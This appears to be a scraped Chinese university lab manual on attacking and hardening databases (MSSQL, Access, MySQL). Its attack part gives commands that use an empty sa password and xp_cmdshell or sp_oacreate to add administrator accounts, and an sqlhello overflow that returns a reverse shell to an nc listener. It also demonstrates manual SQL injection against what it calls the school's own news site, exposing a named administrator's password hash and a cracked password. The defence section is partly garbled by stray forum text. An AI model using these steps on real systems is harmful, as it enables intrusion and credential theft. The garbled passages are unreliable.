信息系统攻防与对抗综合实验指导书12.docx
- 文档编号:10657699
- 上传时间:2023-05-27
- 格式:DOCX
- 页数:69
- 大小:1.80MB
信息系统攻防与对抗综合实验指导书12.docx
《信息系统攻防与对抗综合实验指导书12.docx》由会员分享,可在线阅读,更多相关《信息系统攻防与对抗综合实验指导书12.docx(69页珍藏版)》请在冰点文库上搜索。
信息系统攻防与对抗综合实验指导书12
信息工程学院实验指导书系列
附录52
一、手工注入脚本命令52
实验一针对数据库的攻击和防御
一、实验目的
1.认识对数据库的几种攻击方法:
弱口令攻击,溢出攻击和注入攻击。
2.掌握数据库的安全设置方法。
二、实验内容
练习使用对数据库的几种攻击方法:
弱口令攻击,溢出攻击和注入攻击,了解这几种攻击方法攻击成功的环境要求,进而掌握数据库的安全设置方法,积极防御,保护数据的安全。
三、实验环境
1台安装Windows2000/XP/2003操作系统的计算机,磁盘格式配置为NTFS,搭建一个access+asp,mssql+asp,php+mysql的web实验环境注:
(mssql没打sp4补丁)。
一台mssql服务器,开放远程连接和sa密码为空。
四、实验过程
(一)针对数据库的攻击
1.弱口令攻击(Sa空口令入侵)
工具:
WindowsNT/2000自动攻击探测机,SQLTools.exe。
原理:
由于管理员的疏忽或者安全意识不强没有设置sa密码,并且可以远程连接,这时我们就利用sa权限(系统权限)进行入侵。
实验配置:
一台mssql服务器,开放远程连接和sa密码为空。
利用windowsNT/2000自动攻击探测机扫描网段,找出空口令的mssql服务器,再用SQL综合利用工具来进行连接执行相应的系统命令。
利用系统存储过程xp_cmdshell执行dos命令,然后做进一步的入侵。
例如:
在SQL综合利用工具,执行相应的命令:
netstarttelnet //开telnet服务;
netusertesttest/add //添加用户test密码为test;
netlocalgroupadministratorstest/add //将帐号test升级为管理员;
如果发现执行不了相关的命令,有可能是xp_cmdshell被删,我们可以用下面的进行恢复:
常见情况恢复执行xp_cmdshell:
1)未能找到存储过程'master..xp_cmdshell'.
恢复方法:
查询分析器(或者sqltools.exe)连接后,
第一步执行:
EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'declare@oint
第二步执行:
sp_addextendedproc'xp_cmdshell','xpsql70.dll'
然后按F5键命令执行完毕。
2)无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。
原因126(找不到指定模块。
)
恢复方法:
查询分析器连接后,
第一步执行:
sp_dropextendedproc"xp_cmdshell"
第二步执行:
sp_addextendedproc'xp_cmdshell','xpsql70.dll'
然后按F5键命令执行完毕。
3)无法在库xpweb70.dll中找到函数xp_cmdshell。
原因:
127(找不到指定的程序。
)
恢复方法:
查询分析器连接后,
第一步执行:
execsp_dropextendedproc'xp_cmdshell'
第二步执行:
execsp_addextendedproc'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕。
4)终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分析器连接后,
2000servser系统:
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:
\winnt\system32\cmd.exe/cnetuser新用户密码/add'
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:
\winnt\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'
xp或2003server系统:
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:
\windows\system32\cmd.exe/cnetuser新用户密码/add'
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:
\windows\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'
2.溢出攻击
工具:
端口扫描工具(以流光为例)sql溢出工具sqlhello.exe,sqlhello2.exe,nc.exe。
工具的使用说明:
sqlhello.exe的溢出命令是:
sqlhello.exe ,攻击IP 1433 自己的IP 自己监听端口(反向溢出)。
sqlhello2.exe的溢出命令是:
qlhello2.exe ,攻击IP 1433(直接溢出)。
溢出演示:
先扫描出有溢出漏洞的mssql服务器,比如扫出来有漏洞ip是:
192.168.1.8。
本机ip:
192.168.1.2
先演示反向的溢出:
先用NC监听随便一个端口!
命令行下运行:
nc–vv–l–p8888;
再开另外一个命令行:
sqlhello.exe192.168.1.81433192.168.1.28888;
这样就可以获得一个system级别权限的shell。
正向的溢出:
这个更加的简单
直接:
sqlhello2.exe192.168.1.81433就ok了。
3.注入攻击
工具:
nbsi
实验步骤:
1)直接用工具:
输入网址,查找漏洞,然后根据找到的漏洞进行注入,很容易上手,但是对整个过程不是很直观,下面着重讲述。
手工注入:
以本校的新闻网为事例:
图一是正常显示页面。
图一:
正常显示页面
在地址栏加上一个单引号后,返回如图二所示的出错页面。
图二:
在地址栏加上一个单引号后,返回的出错页面
图二上面显示的出错意思是:
字符串之前有未闭合的引号。
从而可以得知没有过滤掉单引号就直接放到SQL语句中去了,而且可以知道是使用SQLSERVER。
也可以如图三这样在地址栏中输入后查看版本:
图三:
在地址栏中输入后查看版本
这是因为@@version是msssql的内置系统变量,它当前值为mssql系统的版本。
是个nvarcha变量。
而我们在自行控制的sql语句中让这个变量和整型变量比较,系统会先试图将nvarchar的值转成int型,类型不同,转的过程中肯定会出错,SQLServer的出错提示是如图三所示的信息:
于是就出现了以上的错误信息,而这错误信息正是我们想要的…
后面大部分都是利用这种原理..灵活运用,结合mssql的特性
在地址栏提交:
db_name()>0
如图四,知道了当前数据库:
图四:
在地址栏中输入后查看数据库
提交:
and1<>(selectcount(id)%20from[admin])
返回正常页面,说明存在admin表和id字段
提交:
返回正常页面,说明存在password字段
现在进行密码猜解:
返回正常页面,
这就表明了:
用户id为19用户名长度为2。
也返回正常页面,说明密码长度为16,估计是md5加密。
返回正常。
这说明密码第一位字符的asc为57,然后查找asc表,得出字符为9
然后修改语句猜解第2位
依次类推,最后得出密码字符串,无疑这种方法很耗时,但不失为一种方法。
下图是asc表。
其实用上面对比出错更为简洁快速
于是就猜解出一个管理员用户名和密码
Username:
佟明洋
Password:
db516af268bd72c5
继续:
从id=6开始,依次可以猜出所有管理员密码和用户名
语句如下:
依次类推….
我们就选一个吧:
Username:
校办
Password:
49ba59abbe56e057
Md5加密的,穷举法破解密码:
得出密码为:
123456
找到后台登录:
这只是一个简单的演示sql注入,利用sql注入还可以做更多的事………。
构造高效的sql语句结合mssql的特性,sql注入危害是相当大的。
实验:
结合以上图示,亲手操作,千万不要搞破坏。
(二)针对数据库攻击的防御
1.access的安全
Access数据库的安全机制已经更为完善。
除了对数据库设置密码保护,对数据库进行编码压缩,还可以启用用户级的安全机制,在用户级别上控制对数据库的访问。
一、数据库设置密码
对于单机使用的数据库或者是需要工作组共享的数据库,仅设置密码保护较为合适。
知道密码的组成员,都有数据库的完全操作权限,彼此之间的使用权限没有什么区别。
设置密码的步骤如下:
启动MicrosoftAccess,在弹出的选择窗口中点取消,不打开任何数据库。
点击菜单:
文件---打开,在弹出的打开窗口中,选中要打开的数据库文件。
然后在打开按钮的右侧展开箭头上单击选定以独占方式打开,用独占方式打开选定的数据库。
在Access窗口菜单上点击:
工具?
安全?
设置数据库密码。
在弹出的密码和验证输入框中,输入密码,注意区分大小写,并请记住。
然后点击确定按钮。
关闭数据库,退出Access环境,密码设置完毕。
下次再打开此数据库,就会提示输入密码,密码正确才能打开数据库。
如要复制数据库,请不要使用数据库密码。
如设置了密码,复制的数据库将不能同步。
数据库的密码是和数据库文件放置在一起,而不是放在工作组信息文件中。
二、数据库压缩编码
为了进一步对数据库进行加密保护,可以对数据库进行编码压缩。
这样使其他工具程序或字处理等软件就无法查看此数据库的内容。
而对用户在Access下的使用不影响。
编码的步骤如下:
启动MicrosoftAccess,在弹出的选择窗口中点取消,不打开任何数据库。
点击菜单:
工具?
安全?
加密/解密数据库。
在弹出的数据库加密/解密窗口中,选取要编码的数据库,点击确定按钮。
在弹出的数据库加密后另存为窗口中,在文件名输入框中输入编码后的文件名,点击保存按钮。
编码压缩后的数据库被另保为另一个文件。
三、用户级安全机制
使用用户级的安全机制,可以更灵活更安全的保护数据库。
在这种安全机制下,在Access关联的工作组信息文件中建立用户和工作组帐户,用来管理用户;在具体的数据库中管理对象权限,可以给用户和工作组分别指定使用权限。
用户要输入用户名称和密码才能打开数据库,对数据库的操作要受拥有权限的限制。
2.mssql安全
1)设置强壮的口令
”开始”-”程序”-”MicrosoftSQLServer”-”企业管理器”-右键点”(local)(WindowsNT)”属性-然后点”安全性”你就在这里可以设置sa密码
也可以用查询器执行
sp_password'curpw','newpw',sa
如果是新建的server那么原来的sa口令为空。
sp_passwordnull,new_password,sa
然后按F5键命令执行完毕。
2)删除不必要的系统存储过程与扩展存储过程
6{hLpg
Cbbs.nk3699F'H2]*K.q3h(kM删除了调用shell,注册表,COM组件的破坏权限
}&zvBpFZ
nusemaster
L,^1_(~1pEXECsp_dropextendedproc'xp_cmdshell'
"]\,@}8at@pPEXECsp_dropextendedproc'Sp_OACreate'
Zv
{nJ\]EXECsp_dropextendedproc'Sp_OADestroy'
z-UHP%tj yy j&_Y燕赵论坛_学习和娱乐的社区~EXECsp_dropextendedproc'Sp_OAGetErrorInfo'
n6v{6K8u!
R
V?
P~EXECsp_dropextendedproc'Sp_OAGetProperty'
EXECsp_dropextendedproc'Sp_OAMethod'
EXECsp_dropextendedproc'Sp_OASetProperty'
|?
|/}/WT9R4P燕赵论坛_学习和娱乐的社区~EXECsp_dropextendedproc'Sp_OAStop'
EXECsp_dropextendedproc'Xp_regaddmultistring'
`"@3]{bQEXECsp_dropextendedproc'Xp_regdeletekey'
B!
Yi(m
dN2vFLEXECsp_dropextendedproc'Xp_regdeletevalue'
EXECsp_dropextendedproc'Xp_regenumvalues'
EXECsp_dropextendedproc'Xp_regread'
EXECsp_dropextendedproc'Xp_regremovemultistring'
.R\
{6i1E)?
EXECsp_dropextendedproc'Xp_regwrite'
?
%H
tEh!
qdropproceduresp_makewebtask
o{?
%KY D@\}燕赵论坛_学习和娱乐的社区~全部复制到"SQL查询分析器"
(L/c&\$nQ^#~-@
c点击菜单上的--"查询"--"执行",就会将有安全问题的SQL过程删除']"SXs6?
5G4y1Ps
3)用户权限的严格控制
单数据库单独设使用帐户.只给public和db_owner权限. KqN/Xn'z(l0L数据库不要放在默认的位置。
同样对目录也要进行严格的权限控制。
eu#_yv%@Dr f)QN;Azb0O"S9\SQL不要安装在PROGRAMFILE目录下面。
4)及时打补丁,防止溢出等相关的漏洞
最近的SQL2000补丁是SP4
3.mysql的安全
1)更改mysql密码
用MySQLCommandLineClient登录mysql
然后利用这个命令:
mysqladmin-uroot-poldpasswordnewpasswd
设置一个强壮的口令
关于忘记口令的一个说明:
有时我们会因为设置原因或时间长了忘记了数据库管理员的密码,使得我们被关在MySQL服务器外。
MySQL服务器提供了一种方法可使我们在服务器上重设密码。
在windows和linux/unix平台上操作稍有不同,下面分别介绍:
Linux/Unix平台下:
用%kill-TERMPID关闭服务器,用-TERM信息可使服务器在关闭前把内存中的数据写入磁盘。
如果服务器没有响应,我们可用%kill-9PID来强制删除进程,但不建议这样做。
这时内存中的数据不会写入磁盘,造成数据不完整。
如果你是用mysql_safe脚本启动MySQL服务器的,这个脚本会监控服务器的运行情况并在它被终止时重启服务器,所以如需关闭服务器,要先终止该进程,然后再真正终止mysqld进程。
使用--skip-grant-tables参数启动MySQLServer,这时MySQL服务器将不使用权限表对连接操作进行验证。
你就可在不提供root密码的情况下连接上服务器,并获得root的权限。
%mysqld_safe--skip-grant-tables&
用以下命令登录服务器,并重设密码:
%mysql-uroot#不用密码就可连接到服务器
mysql>usemysql
mysql>setpasswordfor'root'@'localhost'=password('password');
关闭服务器,再用正常方式启动服务器。
windows平台下:
用管理员帐号登录服务器,关闭MySQL数据库服务器。
使用--skip-grant-tables参数启动服务器:
c:
\mysql\bin>mysqld-nt--skip-grant-tables
重新打开一个console窗口,用mysql命令登录服务器设置root的新密码:
c:
\mysql\bin>mysql
mysql>usemysql
mysql>setpasswordfor'root'@'localhost'=password('password');
关闭服务器,再用正常方式启动服务器。
更新用户密码
mysql>updateusersetpassword=passowrd('yourpassowrd')wherehost='%';
刷新权限设置:
mysql>flushprivileges;
2)及时打最新安全补丁
3)用户权限的严格控制
了解mysql数据库权限控制。
mysql的权限控制是基于mysql这个数据库的,叫做授权表,一共包括包括六个表:
columns_priv,db,func,host,tables_priv和user。
先使用descuser命令查看非常重要的user表的结构以便查询内容,现在可以查看他的权限设置了。
使用命令selecthost,user,password,delete_priv,update_priv,drop_privfromuser;
这个命令查看了几个比较危险的权限,显示结果如下:
mysql>selecthost,user,password,delete_priv,update_priv,drop_privfromuser;
+-----------+------+------------------+-------------+-------------+-----------+
|host|user|password|delete
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息系统 攻防 对抗 综合 实验 指导书 12